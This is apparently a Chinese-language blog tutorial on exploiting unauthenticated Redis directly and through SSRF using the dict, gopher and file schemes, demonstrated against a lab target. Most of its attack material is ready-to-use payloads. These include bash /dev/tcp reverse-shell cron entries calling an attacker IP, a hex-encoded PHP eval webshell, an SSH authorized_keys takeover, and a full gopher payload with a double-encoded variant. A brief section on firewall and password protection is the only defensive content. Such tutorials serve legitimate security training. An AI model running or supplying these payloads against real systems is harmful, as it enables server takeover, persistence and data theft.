Bootstrap

web渗透测试之反弹shell SSRF结合redis结合伪协议 redis 未授权访问漏洞

目录

未授权访问漏洞利用:redis 反弹shell

漏洞原因就是:

反弹shell利用方式

反弹shell指的是什么 :

反弹shell的前提条件

步骤:

redis未授权访问的三种利用手段反弹shell

利用定时任务反弹shell

攻击主机下设置

写入 webshell

步骤

利用公钥认证写入root用户用户公钥获取root免密连接权限

步骤

生成公私钥

将公钥拷贝到目标主机的/root/.ssh/authorized_keys

操控主机:

远程目标主机:

Redis弱口令登录方法写入

redis未授权访问防护手段

ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell

伪协议介绍

DICT协议

注意:

Http伪协议:

gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell

gopher协议

Gopher是一种分布式文档传递服务。

那么它在ssrf中如何使用呢?

gopher特点

Gopher协议格式:

协议格式:

格式要求:

Kali执行命令

file协议读取服务器文件



未授权访问漏洞利用:redis 反弹shell

  • 漏洞原因就是:

    • 因为没有设定连接密码或者密码太过简单导致的提取数据直接反弹shell

    • 执行redis指令内容 写入文件 拿到服务器的控制终端也就是控制服务器

反弹shell利用方式

  1. Redis持久化 也就是保存在磁盘上去 以文件的单位

  2. Config get dir 查看持久化保存的地址

  3. Config get dbfilename 查看保存的文件名称

  4. Save 保存文件redis数据 持久化数据

  • 我们可以修改保存的文件目录名称以及位置
  • Set shell 反弹shell的攻击代码 保存在数据库,修改文件的存储位置以及名称
  • 基于修改配置 保存在/var/spool/cron/ -> 定时任务目录 以用户名(登录的用户名)称进行文件保存

反弹shell指的是什么 :

  • 将本地的shell控制终端 返回给另外一台主机
  • 反弹shell 是不会终端的
  • Webshell 是http 无连接 短链接的

反弹shell的前提条件

  • 主机不出网 无法反弹出 外网主机

  • /bin/bash -I 是创建一个bash终端覆盖了原始的bash终端窗口

  • 反弹回来 我们需要一个程序用来接受反弹shell的终端数据 4444

步骤:

1 开始一个监听程序 攻击主机 nc 监听 nv –lvvp 4444 接受反弹shell

2 /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1

3 监听终端


redis未授权访问的三种利用手段反弹shell

利用定时任务反弹shell

  • 攻击主机下设置

######

Config set dir /var/spool/cron 设置目录 定时任务目录

Dir 查看保存目录下

Config set dbfilename root 设置文件名称

&&&&&&&&&&&&&&&&&

Flushall 清空redis所有数据

攻击主机发送保存数据set 请求

set halo"\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1\n\n"

######
  • 进入到/var/spool/cron定时任务 root 一分钟执行一次。
  • 攻击主机加入监听 nc –lvvp 4444 一分钟看 攻击主机就会反弹出shell。
  • 我们可以看到,通过写定时任务可以反弹shell。
  • 但是反弹shell需要一个前提条件
    • 就是目标主机是可以出网的,意思就是目标主机可以上网才行,如果目标主机不能上网,也就是不出网
    • 那么就需要用到我们后续内网渗透中学到的知识了,比如代理和隧道等技术,让不出网的主机出网

写入 webshell

  • webshell我们前面已经说过,也用过了,所以这里不用多提,

    • 重点就是将一句话木马程序写入到redis中

    • 然后保存到站点根目录下即可

步骤

  1. 找到站点根目录

  2. 修改redis保存目录

  3. 修改redis保存文件名称

  4. Set 写入一句胡木马

  5. Sava写入


利用公钥认证写入root用户用户公钥获取root免密连接权限

步骤

  • 公钥 我拷贝到目标主机特定目录的特定文件中

  • 服务端 root/.ssh

  • authorized_keys 解密 客户端发来的私钥 相等登录成功

  • 私钥 客户端自己存放着

  • Ssh [email protected]

  • 生成公私钥

ssh-keygen

  • 将公钥拷贝到目标主机的/root/.ssh/authorized_keys

操控主机:

  • 1. 生成公私钥

  • ssh-keygen

  • 2.将公钥拷贝到目标主机的/root/.ssh/authorized_keys

远程目标主机:

  • 1.在/root/目录下创建.ssh隐藏文件夹

  • 2.cs .ssh,进入到ssh目录中,创建authorized_keys文件

  • 3.将操作主机的公钥写入到authorized_keys文件中

  • 在操控主机上执行ssh root@目标主机ip地址,直接就可以连接,不需要输入密码了,这就是公私钥免密登录


Redis弱口令登录方法写入

  • 也就是说
    • 我们想办法将自己主机的公钥写入或者拷贝到目标主机的authorized_keys文件中就直接可以免密登录。
redis-cli -h 192.168.142.149

redis-cli 本机连接

redis未授权访问防护手段

  • 添加防火墙策略,只允许某些IP地址访问这个redis服务器

  • 设置密码,以提供远程登陆打开redis.conf配置文件

    • 找到requirepass,然后修改如下:


ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell

伪协议介绍

  • http:// 主要用于探测主机存活和端口的开放情况

  • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

    • 1探测信息有时候返回的信息比较多

    • 2发送指令

    • 3运行指令

  • sftp://SSH文件传输协议或安全文件传输协议

    • 探测文件时上传下载的 ftp针对21端口

  • gopher:// 分布式文档传递服务,可使用gopherus生成payload

    • ssh基于gopher发起攻击

  • file:/// 从文无序列表件系统中获取文件内容,如,file:///etc/passwd

    • ldap:// 轻量级目录访问协议 windows域控

  • Dict伪协议-> 含有信息反馈

DICT协议

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379
  • 百度搜寻错误然后再知道是什么样的错误
  • ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP. +OK l

  • Dict 可以执行一些应用程序的指令

  • http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/info

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/set username base
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/get username 

  • 这样的情况下我们就可以利用dict进行定时任务 进行反弹shell

  • dict协议攻击redis,写入定时任务,进行反弹shell

centos系统定时任务的路径为:/var/spool/cron

debian系统定时任务的路径为:/var/spool/cron/crontabs

dict://192.168.142.149:6379/config:set:dir:/var/spool/cron dict://192.168.142.149:6379/config:set:dbfilename:root dict://192.168.142.149:6379/set:jaden:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.61.149/1234 0>&1\n\n"

# */1 * * * *是每隔1分钟执行一次

注意:

  • 若payload存在被转义或过滤的情况或者由于url编码导致失效的情况出现

  • 可利用16进制写入内容dict://192.168.142.149:6379/set:jaden:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a \x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.61.149/1234\x200\x3e\x261 \n\n"

dict://192.168.61.161:6379/save

  1. dict协议攻击redis,写入webshell

dict://192.168.61.161:6379/config:set:dbfilename:test.php

dict://192.168.61.161:6379/config:set:dir:/var/www/html

dict://192.168.61.161:6379/set:jaden:"\n\n<?php @ev..($_POST[x]);?>\n\n"

dict://192.168.61.161:6379/save

若存在过滤, 则利用16进制内容写入: dict://192.168.61.161:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x6 1\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"

  1. dict协议攻击redis,写入ssh公钥

操作和写入定时任务相似

Http伪协议:

在开放的情况下没有反应 探测信息

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.142.149:6379


gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell

gopher协议

  • Gopher是一种分布式文档传递服务。

    • 利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

  • 那么它在ssrf中如何使用呢?

    • 需要发送多行数据时,就要用到gopher协议

      • 同样使用nc简单测试一下

      • 可以看到接收端成功接收到了换行的数据

      • 所以gopher协议可以用来攻击那些需要交互的应用

gopher特点

  1. gopher协议支持多行数据一起发送,

  2. dict协议不支持换行符

    1. 没有办法进行换行

    2. 相当于一次只能执行一条命令

    3. 所以不能用来攻击那些需要交互的应用(比如需要认证的redis,每次都要先发送登录密码,紧接着就是要执行的指令,每次都是如此)

  3. 并且gopher协议支持发出GET、POST请求:

    1. 可以先截获get请求包和post请求包

    2. 在构成符合gopher协议的请求

  4. gopher协议是ssrf利用中最强大的协议

    1. GOPHER协议是一种比HTTP协议还要古老的协议

    2. 默认工作端口70

    3. 但是gopher协议在SSRF漏洞利用上比HTTP协议更有优势。

  5. GOPHER协议可以以单个URL的形式传递POST请求,同时支持换行。

Gopher协议格式:

协议格式:

gopher://ip:port/_数据包 # 数据包前面的_是一个无用字符,因为gopher协议的数据格式默认

会吃掉第一个数据,所以给一个无用数据占位。

格式要求:
  1. gopher协议会吃掉第一个字符,所以要先放一个没有用的字符

  2. 要进行url编码

  3. gopher协议数据流中,url编码之后使用%0d%0a替换字符串中的回车换行

  4. 数据流末尾使用%0d%0a代表消息结束

  • gopher协议数据流写入操作 ,要将上面的数据转换为redis接受的数据格式。
  • 然后对 _ 后面的数据进行url编码。
  • 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码。
  • 如果是file_get_contents()造成的ssrf,就不需要二次url编码了。

Kali执行命令
  • python2 gopherus.py --exploit redis
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=
gopher://192.168.142.149:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.142.150/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
  • 解码看一下 反弹成功

  • 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码,如果是file_get_contents()造成的ssrf,就不需要二次url编码了。

二次URL编码

gopher%3A%2F%2F192.168.142.149%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252470%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.142.150%2F1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fvar%2Fspool%2Fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A


file协议读取服务器文件

  • file协议数据格式: file:///文件绝对路径名

​​​​​​http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:\phpStudy\PHPTutorial\WWW\1.txt

  • 上面的格式是正确的 粘贴到浏览器就可以了

  • 这种URL Schema可以尝试从文件系统中获取文件,ile协议主要用于读取服务器本地文件,访问本地的静态资源

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

;